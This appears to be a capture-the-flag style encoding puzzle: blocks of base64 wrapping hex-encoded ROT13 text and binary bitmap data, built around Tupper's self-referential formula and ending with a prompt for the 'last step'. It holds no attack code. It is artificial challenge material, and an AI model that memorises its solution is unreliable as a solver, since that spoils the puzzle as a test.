FnTXpBZ016QWdNekFnTXpFZ016QWdNekFnTXpBZ016QWdNekVnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekVnTXpBZ016QWdNekFnTXpBZ016RWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekVnTXpBZ016QWdNekVnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpFZ016RWdNekVnTXpFZ016RWdNekVnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekVnTXpFZ016RWdNekVnTXpFZ016RWdNekVnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpFZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekVnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekVnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016RWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016RWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpFZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpFZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekVnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpFZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekVnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016RWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016RWdNekVnTXpFZ016RWdNekVnTXpFZ016RWdNekVnTXpFZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekVnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016RWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpFZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekVnTXpFZ016RWdNekVnTXpFZ016RWdNekVnTXpFZ016RWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekVnTXpBZ016QWdNekFnTXpFZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016RWdNekFnTXpBZ016QWdNekVnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpFZ016QWdNekFnTXpBZ016RWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpFZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpFZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekVnTXpFZ016RWdNekFnTXpFZ016RWdNekVnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpFZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekVnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekVnTXpFZ016RWdNekVnTXpFZ016RWdNekVnTXpFZ016RWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekVnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpFZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016RWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekVnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpFZ016RWdNekVnTXpFZ016RWdNekVnTXpFZ016RWdNekVnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016RWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpFZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpFZ016RWdNekVnTXpFZ016RWdNekVnTXpFZ016RWdNekVnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekVnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016RWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016RWdNekVnTXpFZ016RWdNekVnTXpFZ016RWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekVnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016RWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016RWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpFZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpFZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekVnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekVnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016RWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpFZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekVnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekVnTXpBZ016QWdNekFnTXpFZ016QWdNekFnTXpBZ016RWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016RWdNekFnTXpBZ016QWdNekVnTXpFZ016QWdNekFnTXpFZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpFZ016QWdNekFnTXpFZ016RWdNekFnTXpFZ016QWdNekVnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpFZ016RWdNekVnTXpBZ016QWdNekFnTXpFZ016RWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekVnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016RWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpFZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekVnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016RWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekVnTXpFZ016RWdNekVnTXpFZ016RWdNekVnTXpFZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekVnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpFZ016RWdNekVnTXpFZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016RWdNekFnTXpBZ016QWdNekFnTXpFZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpFZ016QWdNekFnTXpBZ016QWdNekVnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpFZ016RWdNekVnTXpFZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016RWdNekVnTXpFZ016RWdNekFnTXpFZ016RWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekVnTXpBZ016QWdNekFnTXpBZ016RWdNekFnTXpBZ016RWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016RWdNekFnTXpBZ016QWdNekFnTXpFZ016QWdNekFnTXpFZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016RWdNekVnTXpFZ016RWdNekFnTXpFZ016RWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekVnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016RWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekVnTXpFZ016RWdNekFnTXpFZ016RWdNekVnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016QWdNekFnTXpBZ016RWdNR1FnTUdFZ05EWWdOaklnTW1NZ01qQWdObUVnTnpVZ05tVWdOamNnTWpjZ05qWWdNakFnTm1NZ05qSWdOamdnTmpVZ01qQWdOemtnTm1VZ05qWWdOamNnTWpBZ05qWWdOamNnTnpJZ05qTWdNMlk9
******** 02 ********
NTUgNmUgNjkgNzIgMjAgNmMgNjIgNjggMjAgNzIgNjkgNzIgNjUgMjAgNzUgNzIgNmUgNjUgNzEgMjAgNmUgNmYgNjIgNjggNjcgMjAgNTIgNjkgNzIgNjUgNmMgNjcgNzUgNzYgNjEgNzQgMjAgNTMgNjIgNjUgN2EgNjggNzkgNmUgM2YgMjAgNTYgNjcgMjcgNjYgMjAgNmUgNzkgNjYgNjIgMjAgNzggNjEgNjIgNmEgNjEgMjAgNmUgNjYgMjAgNDcgNjggNjMgNjMgNzIgNjUgMjcgNjYgMjAgNjYgNzIgNzkgNzMgMmQgNjUgNzIgNzMgNzIgNjUgNzIgNjEgNjcgNzYgNmUgNzkgMjAgNzMgNjIgNjUgN2EgNjggNzkgNmUgMmUgMjAgMGQgMGEgNDcgNzUgNzIgMjAgNzMgNjIgNjUgN2EgNjggNzkgNmUgMjAgNmEgNmUgNjYgMjAgNzEgNzIgNzMgNzYgNjEgNzIgNzEgMjAgNmYgNmMgMjAgNTcgNzIgNzMgNzMgMjAgNDcgNjggNjMgNjMgNzIgNjUgMjAgNmUgNjEgNzEgMjAgNmUgNjMgNjMgNzIgNmUgNjUgNjYgMjAgNmUgNjYgMjAgNmUgNjEgMjAgNzIgNmIgNmUgN2EgNjMgNzkgNzIgMjAgNzYgNjEgMjAgNDcgNjggNjMgNjMgNzIgNjUgMjcgNjYgMjAgMzIgMzAgMzAgMzEgMjAgNDYgNTYgNTQgNTQgNDUgNGUgNDMgNTUgMjAgNjMgNmUgNjMgNzIgNjUgMjAgNjIgNjEgMjAgNjUgNzIgNzkgNzYgNmUgNmYgNzkgNzIgMjAgNjcgNmEgNjIgMmQgNzEgNzYgN2EgNzIgNjEgNjYgNzYgNjIgNjEgNmUgNzkgMjAgNzAgNjIgN2EgNjMgNjggNjcgNzIgNjUgMjAgNzQgNjUgNmUgNjMgNzUgNzYgNjEgNzQgMjAgNmUgNzkgNzQgNjIgNjUgNzYgNjcgNzUgN2EgNjYgMmUgMjAgNDcgNzUgNzYgNjYgMjAgNjMgNmUgNjMgNzIgNjUgMjAgNzEgNzYgNjYgNzAgNjggNjYgNjYgNzIgNjYgMjAgN2EgNzIgNjcgNzUgNjIgNzEgNjYgMjAgNjUgNzIgNzkgNmUgNjcgNzIgNzEgMjAgNjcgNjIgMjAgNjcgNzUgNzIgMjAgNTQgNjUgNmUgNzMgNTIgNjQgMjAgNzMgNjIgNjUgN2EgNjggNzkgNmUgMmQgNzQgNjUgNmUgNjMgNzUgNzYgNjEgNzQgMjAgNjMgNjUgNjIgNzQgNjUgNmUgN2EgMjAgNzEgNzIgNjkgNzIgNzkgNjIgNjMgNzIgNzEgMjAgNmYgNmMgMjAgNDcgNjggNjMgNjMgNzIgNjUgMmUgMGQgMGEgNGUgNjEgNzEgMjAgNjEgNjIgNmEgMjAgNmEgNzIgMjAgNmEgNmUgNjEgNjcgMjAgNmMgNjIgNjggMjAgNjcgNjIgMjAgNmUgNzAgNjQgNjggNmUgNzYgNjEgNjcgMjAgNmEgNzYgNjcgNzUgMjAgNzYgNjcgMjEgMjAgM2EgMjkgMGQgMGEgMGQgMGEgNGUgNjEgNzEgMjAgNjEgNjIgNmEgMjAgNmMgNjIgNjggMjAgNzUgNmUgNjkgNzIgMjAgNjcgNzUgNzYgNjYgMjAgNjEgNjggN2EgNmYgNzIgNjUgM2EgMGQgMGEgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzEgMzEgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzEgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzEgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzEgMzEgMzEgMzEgMzEgMzEgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzEgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzEgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzEgMzEgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzEgMzEgMzEgMzEgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzEgMzAgMzAgMzAgMzAgMzEgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzEgMzAgMzAgMzAgMzAgMzEgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzEgMzAgMzAgMzEgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzEgMzEgMzEgMzEgMzEgMzEgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzEgMzEgMzEgMzEgMzEgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzEgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzEgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzEgMzEgMzEgMzEgMzEgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzEgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzEgMzEgMzAgMzAgMzAgMzEgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzEgMzAgMzEgMzAgMzAgMzEgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzEgMzAgMzAgMzEgMzAgMzEgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzEgMzAgMzAgMzAgMzEgMzEgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzEgMzEgMzEgMzEgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzEgMzAgMzAgMzAgMzAgMzEgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzEgMzAgMzAgMzAgMzAgMzEgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzEgMzAgMzAgMzEgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzEgMzEgMzEgMzEgMzEgMzEgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzEgMzEgMzEgMzEgMzEgMzEgMzEgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzEgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzEgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzEgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzEgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzEgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzEgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzEgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzEgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzEgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzEgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzEgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzEgMzEgMzEgMzEgMzEgMzEgMzEgMzEgMzEgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzEgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzEgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzEgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzEgMzEgMzEgMzEgMzEgMzEgMzEgMzEgMzEgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzEgMzAgMzAgMzAgMzEgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzEgMzAgMzAgMzAgMzEgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzEgMzAgMzAgMzAgMzEgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzEgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzEgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzEgMzEgMzEgMzAgMzEgMzEgMzEgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzEgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzEgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzEgMzEgMzEgMzEgMzEgMzEgMzEgMzEgMzEgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzEgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzEgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzEgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzEgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzEgMzEgMzEgMzEgMzEgMzEgMzEgMzEgMzEgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzEgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzEgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzEgMzEgMzEgMzEgMzEgMzEgMzEgMzEgMzEgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzEgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzEgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzEgMzEgMzEgMzEgMzEgMzEgMzEgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzEgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzEgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzEgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzEgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzEgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzEgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzEgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzEgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzEgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzEgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzEgMzAgMzAgMzAgMzEgMzAgMzAgMzAgMzEgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzEgMzAgMzAgMzAgMzEgMzEgMzAgMzAgMzEgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzEgMzAgMzAgMzEgMzEgMzAgMzEgMzAgMzEgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzEgMzEgMzEgMzAgMzAgMzAgMzEgMzEgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzEgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzEgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzEgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzEgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzEgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzEgMzEgMzEgMzEgMzEgMzEgMzEgMzEgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzEgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzEgMzEgMzEgMzEgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzEgMzAgMzAgMzAgMzAgMzEgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzEgMzAgMzAgMzAgMzAgMzEgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzEgMzEgMzEgMzEgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzEgMzEgMzEgMzEgMzAgMzEgMzEgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzEgMzAgMzAgMzAgMzAgMzEgMzAgMzAgMzEgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzEgMzAgMzAgMzAgMzAgMzEgMzAgMzAgMzEgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzEgMzEgMzEgMzEgMzAgMzEgMzEgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzEgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzEgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzEgMzEgMzEgMzAgMzEgMzEgMzEgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzAgMzEgMGQgMGEgNDYgNjIgMmMgMjAgNmEgNzUgNmUgNjcgMjcgNjYgMjAgNmMgNjIgNjggNjUgMjAgNzkgNmUgNjYgNjcgMjAgNjYgNjcgNzIgNjMgM2Y=
******** 03 ********
